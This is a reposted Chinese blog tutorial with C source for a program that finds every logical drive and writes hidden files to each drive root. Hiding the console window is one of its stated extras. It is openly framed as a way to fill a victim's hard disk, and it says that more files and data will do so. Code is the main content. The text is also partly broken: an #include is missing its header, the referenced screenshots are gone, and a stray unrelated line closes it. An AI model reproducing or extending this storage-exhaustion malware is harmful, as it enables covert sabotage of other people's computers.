关于编写可以填满硬盘的程序
让我们首先考虑一下想法:
第一步:获取逻辑驱动器号
第2步:创建文件
第3步:将数据写入文件
扩展要求:
一个:隐藏窗口
二:将文件设置为隐藏属性

下面我们介绍上述想法的API,并在接受后给出源代码
GetLogicalDriveStrings函数
使用指定系统中有效驱动器的字符串填充缓冲区。
DWORD WINAPI GetLogicalDriveStrings( _In_ DWORD nBufferLength, _Out_ LPTSTR lpBuffer );

此功能是将系统中可用的磁盘读入lpBuffer
成功返回获得的总长度,

有两种情况,一种是缓冲区不够长,另一种是其他问题
关于其他API函数,它们相对简单。从它们的名称的含义中可以知道其中一些。我不会在这里介绍它们。源代码中也有注释。
查看下面的源代码
#includeint main() { //FreeConsole(); //隐藏控制台 char strDriveStrings[MAXBYTE] = { 0 }; //获取逻辑地址 DWORD dwDriveStrLen = GetLogicalDriveStringsA(MAXBYTE, strDriveStrings); for (size_t i = 0; i < dwDriveStrLen; i += 4) //每4个字节表示一个盘符 { char strTargetPath[MAX_PATH] = { 0 }, strRoot[4] = { 0 }; strncpy_s(strRoot,&strDriveStrings[i], 4); strcpy_s(strTargetPath, strRoot); //创建100个文件 for (int j = 0; j < 100; j++) { char TempStrTargetPath[MAX_PATH]; strcpy_s(TempStrTargetPath, strTargetPath); char FileName[MAXBYTE]; char Date[MAXBYTE] = "11111"; wsprintf(FileName, "%d.txt", j); strcat_s(TempStrTargetPath, FileName); //创建文件 HANDLE hFile; hFile = CreateFileA(TempStrTargetPath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); if (hFile == INVALID_HANDLE_VALUE) continue; DWORD Pointer; //写入数据 WriteFile(hFile, &Date, strlen(Date), &Pointer, NULL); CloseHandle(hFile); //将s所指向的某一块内存中的前n个 字节的内容全部设置为ch指定的ASCII值 memset(FileName, 0, sizeof(FileName)); //设置为隐藏 SetFileAttributesA(TempStrTargetPath, FILE_ATTRIBUTE_HIDDEN); } } return 0; }
设置文件浏览属性:

运行结果如下:


如果出现以下问题:

如下修改字符集:

只要您创建更多文件和更多数据,硬盘就会装满
以上是C / C ++的内容,可轻松编写可填充硬盘的程序。有关更多内容,请注意PHP中文网站()!

本文来自电脑杂谈,转载请注明本文网址:
http://www.pc-fly.com/a/dianqi/article-363477-1.html
现在中国人咋啦